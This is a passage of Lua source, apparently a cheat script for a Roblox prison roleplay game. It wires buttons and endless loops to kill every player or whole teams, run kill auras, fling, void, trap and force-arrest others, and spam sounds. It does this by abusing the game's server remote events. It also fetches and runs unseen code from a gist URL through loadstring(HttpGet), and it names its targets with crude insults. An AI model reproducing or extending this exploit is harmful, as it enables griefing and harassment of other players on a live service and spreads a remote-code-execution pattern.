local daping = CPing(); LocTP(VRoot.CFrame); Saved.MKillDebounce[args.Name] = true
task.spawn(function()
RTPing(daping*2); Saved.MKillDebounce[args.Name] = nil
end); Rstep:Wait(); LocTP(VRoot.CFrame); wait()
for i = 1, 10 do MeleEve(args); end
wait(0.030); LocTP(VRoot.CFrame)
for i = 1, 10 do MeleEve(args); end
wait(0.030); LocTP(VRoot.CFrame)
for i = 1, 10 do MeleEve(args); end
Rstep:Wait(); LocTP(VRoot.CFrame)
for i = 1, 10 do MeleEve(args); end
end; wait()
else
local timeout = tick() + 6
repeat task.wait()
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") and LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then
LAction("unsit")
end; if args.Character and args.Character:FindFirstChildOfClass("Humanoid") and not args.Character:FindFirstChild("ForceField") then
if args.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
if args.Character:FindFirstChild("Humanoid").Sit then
LocTP(VHead.CFrame * CFrame.new(0, -8, 0))
else LocTP(VHead.CFrame * CFrame.new(0, -12, 0)); end
else break; end
else
break
end; for i = 1, 10 do
MeleEve(args)
end
until tick() - timeout >=0
end
end; if savepos then
LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit = false; LocTP(SavedPositions.MeleeKill)
end
end
local MakeCrim = function(args, savepos, tpback, ArrestLater)
if args.TeamColor == BrickColor.new("Really red") then
else
if args == LocalPlayer then
TeamTo("criminal")
return
end; SavedPositions.MakeCrimPos = savepos and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or nil; SavedPositions.MakeCrimPlr = args.Character:FindFirstChild("HumanoidRootPart").CFrame
local timeout = tick() + 10
repeat
BringPL(args, CFrame.new(-920.947937, 92.3143158, 2138.05615, 0.997869313, 4.71007233e-08, 0.0652444065, -4.59519711e-08, 1, -1.91075955e-08, -0.0652444065, 1.6068773e-08, 0.997869313), true, nil, true)
RTPing(0);RTPing(0)
until args.TeamColor == BrickColor.new("Really red") or tick() - timeout >= 0; timeout = nil
if ArrestLater then
ArrestPL(args)
end;if tpback then
BringPL(args, SavedPositions.MakeCrimPlr, true); wait(.2)
end;if savepos then
if LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then
LAction("unsit", true)
end;LocTP(SavedPositions.MakeCrimPos)
end
end
end
Tasks = {
ReloadGun = function(arg, arg2)
if not arg then
return
end
task.spawn(function()
local tool = arg.Name
while wait() do
local findchild = LocalPlayer.Character:FindFirstChild(tool) or LocalPlayer.Backpack:FindFirstChild(tool)
if findchild then
if LocalPlayer.Character:FindFirstChild(tool) then
Rstorage.ReloadEvent:FireServer(findchild)
elseif arg2 then break end
else break end
end
end)
end;
};
MainFrame.AK.Activated:Connect(function()
Gun("AK-47")
end)
MainFrame.KillGuards.Activated:Connect(function()
MultiKill(Teams.Guards)
end)
MainFrame.BringAll.Activated:Connect(function()
for i,v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer then
BringPL(v)
end
end
end)
MainFrame.KillInmates.Activated:Connect(function()
MultiKill(Teams.Inmates)
end)
MainFrame.UnLKAll.Activated:Connect(function()
Loops.KillTeams.All = false
end)
MainFrame.Keycard.Activated:Connect(function()
GiveKeyCard(LocalPlayer)
end)
MainFrame.SpamSounds.Activated:Connect(function()
States.SoundSpam = true; Notif("OK", "Now spamming sounds."); Tasks.SoundSpam()
end)
MainFrame.Sword.Activated:Connect(function()
local classic_sword = Instance.new("Tool")
classic_sword.Grip = CFrame.fromMatrix(Vector3.new(0, 0, -1.5), Vector3.new(0, 1, 0), Vector3.new(0, 0, 1), Vector3.new(1, 0, 0))
classic_sword.GripForward = Vector3.new(-1, -0, -0)
classic_sword.GripPos = Vector3.new(0, 0, -1.5)
classic_sword.GripRight = Vector3.new(0, 1, 0)
classic_sword.GripUp = Vector3.new(0, 0, 1)
classic_sword.TextureId = "rbxasset://Textures/Sword128.png"
classic_sword.WorldPivot = CFrame.fromMatrix(Vector3.new(-114.38774108886719, 24.64931297302246, 83.36888122558594), Vector3.new(0.09104403853416443, 0.5370116829872131, -0.8386485576629639), Vector3.new(-0.8810994625091553, 0.43589484691619873, 0.18346372246742249), Vector3.new(0.46408435702323914, 0.7222291231155396, 0.5128455758094788))
classic_sword.Name = "ClassicSword"
classic_sword.Parent = game.Players.LocalPlayer.Backpack
local handle = Instance.new("Part")
handle.BottomSurface = Enum.SurfaceType.Smooth
handle.BrickColor = BrickColor.new(0.38823533058166504, 0.37254902720451355, 0.38431376218795776)
handle.CFrame = CFrame.fromMatrix(Vector3.new(-114.44070434570312, 24.240930557250977, 82.50543212890625), Vector3.new(0.09104403853416443, 0.5370116829872131, -0.8386485576629639), Vector3.new(-0.8810994625091553, 0.43589484691619873, 0.18346372246742249), Vector3.new(0.46408435702323914, 0.7222291231155396, 0.5128455758094788))
handle.Color = Color3.new(0.388235, 0.372549, 0.384314)
handle.Locked = true
handle.Orientation = Vector3.new(-46.23899841308594, 42.143001556396484, 50.933998107910156)
handle.Reflectance = 0.4000000059604645
handle.Rotation = Vector3.new(-54.62200164794922, 27.650999069213867, 84.10099792480469)
handle.Size = Vector3.new(1, 0.800000011920929, 4)
handle.TopSurface = Enum.SurfaceType.Smooth
handle.Name = "Handle"
handle.Parent = classic_sword
local mesh = Instance.new("SpecialMesh")
mesh.MeshType = Enum.MeshType.FileMesh
mesh.MeshId = "rbxasset://fonts/sword.mesh"
mesh.TextureId = "rbxasset://textures/SwordTexture.png"
mesh.Parent = handle
classic_sword.Activated:Connect(function()local a=game.Players.LocalPlayer local b="74894663"local c=Instance.new("Animation")c.AnimationId="rbxassetid://218504594"..b local a=a.Character.Humanoid:LoadAnimation(c)a:Play()a:AdjustSpeed(2)local c=Instance.new("Sound")c.Parent=handle c.MaxDistance=math.huge c.SoundId="rbxassetid://88633606"c.Volume=2 wait()c:Play()for a,b in pairs(game.Players:GetChildren())do if b.Name~=game.Players.LocalPlayer.Name then for a=1,10 do game.ReplicatedStorage.meleeEvent:FireServer(b)c:Destroy()end end end end)
local swing = Instance.new("Animation")
swing.AnimationId = "rbxassetid://2954124238"
swing.Name = "Swing"
swing.Parent = classic_sword
local sound = Instance.new("Sound")
sound.RollOffMode = Enum.RollOffMode.InverseTapered
sound.SoundId = "rbxassetid://935843979"
sound.Parent = handle
local AnimTrack = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(swing)
classic_sword.Activated:Connect(function()
AnimTrack:Play()
sound:Play()
end)
end)
MainFrame.UnspamSounds.Activated:Connect(function()
States.SoundSpam = false;
end)
MainFrame.Car.Activated:Connect(function()
BringCar()
end)
MainFrame.Btools.Activated:Connect(function()
local tool1 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack)
local tool2 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack)
local tool3 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack)
local tool4 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack)
local tool5 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack)
tool1.BinType = "Clone"
tool2.BinType = "GameTool"
tool3.BinType = "Hammer"
tool4.BinType = "Script"
tool5.BinType = "Grab"
end)
MainFrame.LKAll.Activated:Connect(function()
Loops.KillTeams.All = true;
end)
MainFrame.KillCrims.Activated:Connect(function()
MultiKill(Teams.Criminals)
end)
MainFrame.Noclip.Activated:Connect(function()
Toggles.Noclip = true;
end)
MainFrame.Criminal.Activated:Connect(function()
TeamTo("criminal")
end)
MainFrame.SuperPunch.Activated:Connect(function()
Toggles.Onepunch = true;
end)
MainFrame.RestoreDoors.Activated:Connect(function()
if not Rstorage.Doors then
Notif("Doors Already Exist!", nil, 5)
end
end)
MainFrame.InfJumps.Activated:Connect(function()
repeat task.wait() until LocalPlayer.Character
local Char = LocalPlayer.Character
Char.Humanoid:ChangeState("Jumping");
end)
MainFrame.FastRUn.Activated:Connect(function()
repeat task.wait() until LocalPlayer.Character
local Char = LocalPlayer.Character
Char.Humanoid.WalkSpeed = 50
end)
MainFrame.HighJump.Activated:Connect(function()
repeat task.wait() until LocalPlayer.Character
local Char = LocalPlayer.Character
Char.Humanoid.JumpPower = 80
end)
MainFrame.KillAura.Activated:Connect(function()
Toggles.MeleeAura = true;
end)
MainFrame.Guard.Activated:Connect(function()
TeamTo("guard")
end)
MainFrame.Inmate.Activated:Connect(function()
TeamTo("inmate")
end)
MainFrame.Neutral.Activated:Connect(function()
TeamEve("Medium stone grey")
end)
MainFrame.Pistol.Activated:Connect(function()
Gun("M9")
end)
MainFrame.KillAll.Activated:Connect(function()
MultiKill(Players)
end)
MainFrame.Shotgun.Activated:Connect(function()
Gun("Remington 870")
end)
task.spawn(function()
local task0 = function()
if Loops.KillTeams.All then
Gun("AK-47")
MultiKill(Players)
wait(CPing(nil, true) / 2)
else
if next(Loops.Kill) then
for i,v in next, Loops.Kill do
if v and v.Character and not Saved.KillDebounce[v.Name] then
if v.Character:FindFirstChild("Humanoid") and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) then
Saved.KillDebounce[v.Name] = true
coroutine.wrap(function()
if RTPing() then
Saved.KillDebounce[v.Name] = nil
end
end)()
KillPL(v)
deprint("Debug_killed player loopkills")
end
end
end
end
if Loops.KillTeams.Inmates then
if not SavedArgs.KillDebounceInmate then
SavedArgs.KillDebounceInmate = true
task.delay(0.09, function()
RTPing(); SavedArgs.KillDebounceInmate = nil
end)
MultiKill(Teams.Inmates)
end
end
if Loops.KillTeams.Guards then
if not SavedArgs.KillDebounceGuard then
SavedArgs.KillDebounceGuard = true
task.delay(0.09, function()
RTPing(); SavedArgs.KillDebounceGuard = nil
end)
MultiKill(Teams.Guards)
end
end
if Loops.KillTeams.Criminals then
if not SavedArgs.KillDebounceCriminal then
SavedArgs.KillDebounceCriminal = true
task.delay(0.09, function()
RTPing(); SavedArgs.KillDebounceCriminal = nil
end)
MultiKill(Teams.Criminals)
end
end
if Loops.KillTeams.Neutrals then
if not SavedArgs.KillDebounceNeutral then
SavedArgs.KillDebounceNeutral = true
task.delay(0.35, function()
SavedArgs.KillDebounceNeutral = nil
end)
MultiKill(Teams.Neutral)
end
end
end
end
while task.wait() do
pcall(task0)
if Unloaded then
break
end
end
end)
--Killauras and antitouch
task.spawn(function()
local task0 = function()
local KillPlayers = {};
if next(Powers.Killauras) then
for i,v in next, Powers.Killauras do
if v.Character then
local VHead = v.Character:FindFirstChild("Head")
for _, Targets in pairs(Players:GetPlayers()) do
if Targets ~= v and Targets.Character and not Targets.Character:FindFirstChildWhichIsA("ForceField") and Targets.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local THead = Targets.Character:FindFirstChild("Head")
if VHead and THead and CheckWhitelist(Targets) and Targets ~= LocalPlayer then
if (THead.Position-VHead.Position).Magnitude <= Settings.KillauraThreshold then
KillPlayers[#KillPlayers+1] = Targets
end
end
end
end
end
end
end
if next(Powers.Antitouch) then
for i,v in next, Powers.Antitouch do
if v.Character and v.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local VPart = v.Character:FindFirstChildWhichIsA("BasePart")
for _, Targets in pairs(Players:GetPlayers()) do
if Targets ~= v and Targets.Character and not Targets.Character:FindFirstChildWhichIsA("ForceField") and Targets.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local TPart = Targets.Character:FindFirstChildWhichIsA("BasePart")
if VPart and TPart and CheckWhitelist(Targets) and Targets ~= LocalPlayer then
if (TPart.Position-VPart.Position).Magnitude <= 2.5 then
KillPlayers[#KillPlayers+1] = Targets
end
end
end
end
end
end
end
if next(Powers.Antiarrest) then
for i,v in next, Powers.Antiarrest do
if v.Character and v.TeamColor.Name ~= "Bright blue" then
local VPart = v.Character:FindFirstChild("Head")
for _, Cunts in pairs(Teams.Guards:GetPlayers()) do
if Cunts.Character and Cunts.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 and Cunts ~= LocalPlayer and CheckWhitelist(Cunts) then
local CPart = Cunts.Character and Cunts.Character:FindFirstChild("Head")
if VPart and CPart then
if Cunts.Character:FindFirstChild("Handcuffs") and (CPart.Position-VPart.Position).Magnitude < 20 or Cunts.Character:FindFirstChild("Taser") and (CPart.Position-VPart.Position).Magnitude < 30 then
KillPlayers[#KillPlayers+1] = Cunts
end
end
end
end
end
end
end
if next(Powers.Antipunch) then
for i,v in next, Powers.Antipunch do
if v.Character then
local VPart = v.Character:FindFirstChildWhichIsA("BasePart")
for _, Hostiles in pairs(Players:GetPlayers()) do
if Hostiles ~= v and Hostiles.Character and not Hostiles.Character:FindFirstChildWhichIsA("ForceField") and Hostiles.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local HPart = Hostiles.Character:FindFirstChildWhichIsA("BasePart")
if VPart and HPart and CheckWhitelist(Hostiles) and Hostiles ~= LocalPlayer then
if (HPart.Position-VPart.Position).Magnitude <= 4 then
for _, tracks in ipairs(Hostiles.Character:FindFirstChild("Humanoid"):GetPlayingAnimationTracks()) do
if table.find(Saved.HostileAnimations, tracks.Animation.AnimationId) then
KillPlayers[#KillPlayers+1] = Hostiles
break
end
end
end
end
end
end
end
end
end
if next(Powers.Onepunch) then
for i,v in next, Powers.Onepunch do
if v.Character then
local waspunching = nil
for _, tracks in ipairs(v.Character:FindFirstChildOfClass("Humanoid"):GetPlayingAnimationTracks()) do
if tracks.Animation.AnimationId == "rbxassetid://484200742" or tracks.Animation.AnimationId == "rbxassetid://484926359" then
waspunching = true
break
end
end
if waspunching then
local VPart = v.Character:FindFirstChildWhichIsA("BasePart")
for _, targets in pairs(Players:GetPlayers()) do
if targets ~= v and targets.Character and targets.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 and not targets.Character:FindFirstChildWhichIsA("ForceField") then
local TPart = targets.Character:FindFirstChildWhichIsA("BasePart")
if VPart and TPart and CheckWhitelist(targets) and targets ~= LocalPlayer then
if (VPart.Position-TPart.Position).Magnitude <= 3 then
KillPlayers[#KillPlayers+1] = targets
break
end
end
end
end
end
end
end
end
if next(Powers.Punchaura) then
for i,v in next, Powers.Punchaura do
if v.Character then
local waspunching = nil
for _, track in ipairs(v.Character:FindFirstChild("Humanoid"):GetPlayingAnimationTracks()) do
if track.Animation.AnimationId == "rbxassetid://484200742" or track.Animation.AnimationId == "rbxassetid://484926359" then
waspunching = true
break
end
end
if waspunching then
local VHead = v.Character:FindFirstChild("Head")
for _, Victims in pairs(Players:GetPlayers()) do
if Victims ~= v and Victims.Character and not Victims.Character:FindFirstChildWhichIsA("ForceField") and Victims.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local VTHead = Victims.Character:FindFirstChild("Head")
if VTHead and VHead and CheckWhitelist(Victims) and Victims ~= LocalPlayer then
if (VTHead.Position-VHead.Position).Magnitude <= 16 then
if Powers.Onepunch[v.UserId] then
KillPlayers[#KillPlayers+1] = Victims
else
if not SavedArgs.PauraDebounce then
SavedArgs.PauraDebounce = true
task.delay(1, function()
SavedArgs.PauraDebounce = nil
end)
KillPL(Victims, 1, false)
end
end
end
end
end
end
end
end
end
end
if next(KillPlayers) then
TableKill(KillPlayers)
end
KillPlayers = nil
end
while task.wait() do
pcall(task0)
if Unloaded then
break
end
end
end)
--Loops (Teleport)
task.spawn(function()
local task0 = function()
if Loops.MeleeTeams.All then
for i,v in pairs(Players:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK
MeleeKill(v, false)
end
if not Loops.MeleeTeams.All then
break
end
end
end
else
if next(Loops.MeleeKill) then
for i,v in next, Loops.MeleeKill do
if v.Character and v.Character:FindFirstChild("Humanoid") then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK
MeleeKill(v)
end
end
end
end
if Loops.MeleeTeams.Inmates then
for i,v in pairs(Teams.Inmates:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK
MeleeKill(v, false)
end
end
if not Loops.MeleeTeams.Inmates then
break
end
end
end
if Loops.MeleeTeams.Guards then
for i,v in pairs(Teams.Guards:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK
MeleeKill(v, false)
end
end
if not Loops.MeleeTeams.Guards then
break
end
end
end
if Loops.MeleeTeams.Criminals then
for i,v in pairs(Teams.Criminals:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK
MeleeKill(v, false)
end
end
if not Loops.MeleeTeams.Criminals then
break
end
end
end
if Loops.MeleeTeams.Neutrals then
for i,v in pairs(Teams.Neutral:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then
SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK
MeleeKill(v, false)
end
end
if not Loops.MeleeTeams.Neutrals then
break
end
end
end
end
if SavedPositions.MeleeLK then
LocTP(SavedPositions.MeleeLK); SavedPositions.MeleeLK = nil
end
if next(Loops.Fling) then
for i,v in next, Loops.Fling do
if v.Character and v.Character:FindFirstChild("HumanoidRootPart") and v ~= LocalPlayer then
if not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.TeamColor == BrickColor.new("Medium stone grey")) and not (v.Character:FindFirstChild("Head").Position.Y > 699 or v.Character:FindFirstChild("Head").Position.Y < 1) then
FlingPL(v)
end
end
end
end
if next(Loops.MakeCrim) then
for i,v in next, Loops.MakeCrim do
if v.Character and v.TeamColor.Name ~= "Really red" then
if not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.TeamColor == BrickColor.new("Medium stone grey")) then
if v ~= LocalPlayer then
SavedPositions.LoopMakeCrim = not SavedPositions.LoopMakeCrim and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.LoopMakeCrim
MakeCrim(v)
else TeamTo("criminal"); end
end
end
end
if SavedPositions.LoopMakeCrim then
LAction("unsit", true); LocTP(SavedPositions.LoopMakeCrim); SavedPositions.LoopMakeCrim = nil
end
end
if next(Loops.Arrest) then
for i,v in next, Loops.Arrest do
if v.Character and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Head:FindFirstChild("handcuffedGui")) then
if v.TeamColor == BrickColor.new("Really red") or (v.TeamColor == BrickColor.new("Bright orange") and GetIllegalReg(v)) then
ArrestPL(v, true, false)
elseif v.TeamColor.Name ~= "Medium stone grey" then
MakeCrim(v, true, false, true)
end
end
end
end
if Loops.ArrestTeams.Inmate then
for i,v in pairs(Teams.Inmates:GetPlayers()) do
if v.Character and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Head:FindFirstChild("handcuffedGui")) then
SavedPositions.ArrestTeams = not SavedPositions.ArrestTeams and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.ArrestTeams
if GetIllegalReg(v) then
ArrestPL(v, false, false)
else
MakeCrim(v, false, false, true)
end
end
end
end
if Loops.ArrestTeams.Criminal then
for i,v in pairs(Teams.Criminals:GetPlayers()) do
if v.Character and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Head:FindFirstChild("handcuffedGui")) then
SavedPositions.ArrestTeams = not SavedPositions.ArrestTeams and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.ArrestTeams
ArrestPL(v, false)
end
end
end
if Loops.ArrestTeams.Guard then
for i,v in pairs(Teams.Guards:GetPlayers()) do
if v.Character and v.Character:FindFirstChild("Humanoid").Health ~= 0 then
SavedPositions.ArrestTeams = not SavedPositions.ArrestTeams and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.ArrestTeams
MakeCrim(v, false, false, true)
end
end
end
if SavedPositions.ArrestTeams then
if LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then
LAction("unsit", true)
end; LocTP(SavedPositions.ArrestTeams); SavedPositions.ArrestTeams = nil
end
if Loops.AutoArresting.All then
for i,v in pairs(Players:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) and v.Character:FindFirstChild("Humanoid").Health ~= 0 then
if not v.Character.Head:FindFirstChild("handcuffedGui") then
if (v.TeamColor == BrickColor.new("Bright orange") and GetIllegalReg(v)) or v.TeamColor == BrickColor.new("Really red") then
SavedPositions.AutoArresting = not SavedPositions.AutoArresting and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.AutoArresting
ArrestPL(v, false, false)
end
end
end
end
else
if next(Loops.AutoArresting.Plr) then
for i,v in next, Loops.AutoArresting.Plr do
if v.Character and not (v == LocalPlayer or v.Character:FindFirstChild("Humanoid").Health == 0) and CheckWhitelist(v) then
if not v.Character.Head:FindFirstChild("handcuffedGui") then
if (v.TeamColor == BrickColor.new("Bright orange") and GetIllegalReg(v)) or v.TeamColor == BrickColor.new("Really red") then
SavedPositions.AutoArresting = not SavedPositions.AutoArresting and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.AutoArresting
ArrestPL(v, false, false)
end
end
end
end
end
end
if SavedPositions.AutoArresting then
LocTP(SavedPositions.AutoArresting); SavedPositions.AutoArresting = nil
end
if next(Loops.VoidKill) then
for i,v in next, Loops.VoidKill do
if v.Character and v.Character:FindFirstChild("Head").Position.Y > 1 and v.Character:FindFirstChild("Humanoid").Health ~= 0 and v.TeamColor.Name ~= "Medium stone grey" and not v.Character.Humanoid.Sit then
if States.AntiVoid then
task.delay(8,function()States.AntiVoid = true;end);States.AntiVoid = false
end
local tempos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
BringPL(v,CFrame.new(0, -320, 0),true,true);wait(.2);LAction("unsit",true)
LocTP(CFrame.new(-190.722427,54.774929,1880.20374,0.007893865,6.46408438e-08,0.999968827,-3.42371038e-08,1,-6.43725926e-08,-0.999968827,-3.37278863e-08,0.007893865))
RTPing();RTPing();RTPing();RTPing();LocTP(tempos)
end
end
end
if next(Loops.Trapped) then
for i,v in next, Loops.Trapped do
if v.Character and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Humanoid.Sit or v.TeamColor.Name == "Medium stone grey") then
if v.Character:FindFirstChild("HumanoidRootPart") and (v.Character.HumanoidRootPart.Position-Teleports.trapbuilding.Position).Magnitude > 90 then
SavedPositions.TrapPlayerPos = not SavedPositions.TrapPlayerPos and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.TrapPlayerPos
BringPL(v, Teleports.trapbuilding, true)
end
end
end
if SavedPositions.TrapPlayerPos then
wait(.2); LAction("unsit", true); LocTP(SavedPositions.TrapPlayerPos); SavedPositions.TrapPlayerPos = nil
end
end
if next(Loops.Voided) then
for i,v in next, Loops.Voided do
if v.Character and not (v.Character:FindFirstChildOfClass("Humanoid").Health == 0 or v.Character:FindFirstChild("Humanoid").Sit or v.TeamColor.Name == "Medium stone grey") then
if v.Character:FindFirstChild("Head") and v.Character.Head.Position.Y < 699 then
local tempos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
BringPL(v, CFrame.new(0, 9e9, 0), true, true)
wait(.2); Tasks.Refresh(nil, tempos)
end
end
end
end
if next(Loops.PunchKill) then
for i,v in next, Loops.PunchKill do
if v.Character and not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then
PunchKill(v, 0.1)
end
end
end
if next(Loops.CarFling) then
for i,v in next, Loops.CarFling do
if v.Character then
if not (v.TeamColor == BrickColor.new("Medium stone grey") or v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Humanoid.Sit) and v.Character:FindFirstChild("Head").Position.Y < 999 then
CarFlingPL(v)
end
end
end
end
end
while task.wait() do
pcall(task0)
if Unloaded then
break
end
end
end)
loadstring(game:HttpGet('https://gist.githubusercontent.com/devguy100/d072e90c00da292e695b3748c1361499/raw/5e741bf486d8773b97129d48ed98988f6ac942e7/cmdlist.txt'))()
--Loops (MeleeAura and stuff)
task.spawn(function()
local task0 = function()
if Toggles.MeleeAura then
wait()
for i,v in pairs(Players:GetPlayers()) do
if v.Character and v ~= LocalPlayer then
if not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) and CheckWhitelist(v) then
MeleEve(v);task.delay(0,function() MeleEve(v); end)
end
end
end
else
if Toggles.MeleeTouch then
for i,v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer and v.Character and v.Character:FindFirstChildOfClass("Humanoid") then
if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChildOfClass("Humanoid").Health == 0) then
local VPart, LPart = v.Character:FindFirstChildWhichIsA("BasePart"), LocalPlayer.Character:FindFirstChildWhichIsA("BasePart")
if VPart and LPart and CheckWhitelist(v) then
if (VPart.Position-LPart.Position).Magnitude <= 2.5 then
for i = 1, 5 do
MeleEve(v)
end
end
end
end
end
end
end
if Toggles.AntiPunch then
for i,v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer and v.Character and v.Character:FindFirstChild("Humanoid").Health ~= 0 then
local VHead, LHead = v.Character:FindFirstChild("Head"), LocalPlayer.Character:FindFirstChild("Head")
if VHead and LHead and CheckWhitelist(v) then
if (VHead.Position-LHead.Position).Magnitude <= 5 then
local VHuman = v.Character:FindFirstChildOfClass("Humanoid")
for _, punch in ipairs(VHuman:GetPlayingAnimationTracks()) do
if table.find(Saved.HostileAnimations, punch.Animation.AnimationId) then
for i = 1, 15 do
MeleEve(v)
end
break
end
end
end
end
end
end
end
if Toggles.TKA.Guard then
for i,v in pairs(Teams.Guards:GetPlayers()) do
if v.Character and v ~= LocalPlayer and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) then
local LHead, VHead = LocalPlayer.Character:FindFirstChild("Head"), v.Character:FindFirstChild("Head")
if LHead and VHead and CheckWhitelist(v) then
if (LHead.Position-VHead.Position).Magnitude <= 17 then
for i = 1, 7 do
MeleEve(v)
end
end
end
end
end
else
if Toggles.AntiArrest then
for _, PotangIna in pairs(Teams.Guards:GetPlayers()) do
if PotangIna.Character and PotangIna ~= LocalPlayer then
if PotangIna.Character:FindFirstChild("Handcuffs") and PotangIna.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local PPart, LPart = PotangIna.Character.PrimaryPart, LocalPlayer.Character.PrimaryPart
if PPart and LPart and CheckWhitelist(PotangIna) then
if (PPart.Position-LPart.Position).Magnitude <= 20 then
for i = 1, 10 do
MeleEve(PotangIna)
end
end
end
end
end
end
end
end
if Toggles.TKA.Inmate then
for i,v in pairs(Teams.Inmates:GetPlayers()) do
if v.Character and v ~= LocalPlayer and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) then
local LHead, VHead = LocalPlayer.Character:FindFirstChild("Head"), v.Character:FindFirstChild("Head")
if LHead and VHead and CheckWhitelist(v) then
if (LHead.Position-VHead.Position).Magnitude <= 17 then
for i = 1, 7 do
MeleEve(v)
end
end
end
end
end
end
if Toggles.TKA.Criminal then
for i,v in pairs(Teams.Criminals:GetPlayers()) do
if v.Character and v ~= LocalPlayer and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) then
local LHead, VHead = LocalPlayer.Character:FindFirstChild("Head"), v.Character:FindFirstChild("Head")
if LHead and VHead and CheckWhitelist(v) then
if (LHead.Position-VHead.Position).Magnitude <= 17 then
for i = 1, 7 do
MeleEve(v)
end
end
end
end
end
end
if Toggles.TKA.Enemies then
for i,v in pairs(Players:GetPlayers()) do
if v.Character and v ~= LocalPlayer and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) then
if v.TeamColor ~= LocalPlayer.TeamColor then
local LHead, VHead = LocalPlayer.Character:FindFirstChild("Head"), v.Character:FindFirstChild("Head")
if LHead and VHead and CheckWhitelist(v) then
if (LHead.Position-VHead.Position).Magnitude <= 17 then
for i = 1, 7 do
MeleEve(v)
end
end
end
end
end
end
end
end
end
while task.wait() do
pcall(task0)
if Unloaded then
break
end
end
end)
--Loops (Non-interfering)
task.spawn(function()
local task0 = function()
if Toggles.AntiBring and not States.IsBringing and LocalPlayer.Character:FindFirstChild("Humanoid").Sit then LAction("unsit") end
if States.JumpPower then LAction("jumppw", Saved.JumpPower); end
if States.Speeding then
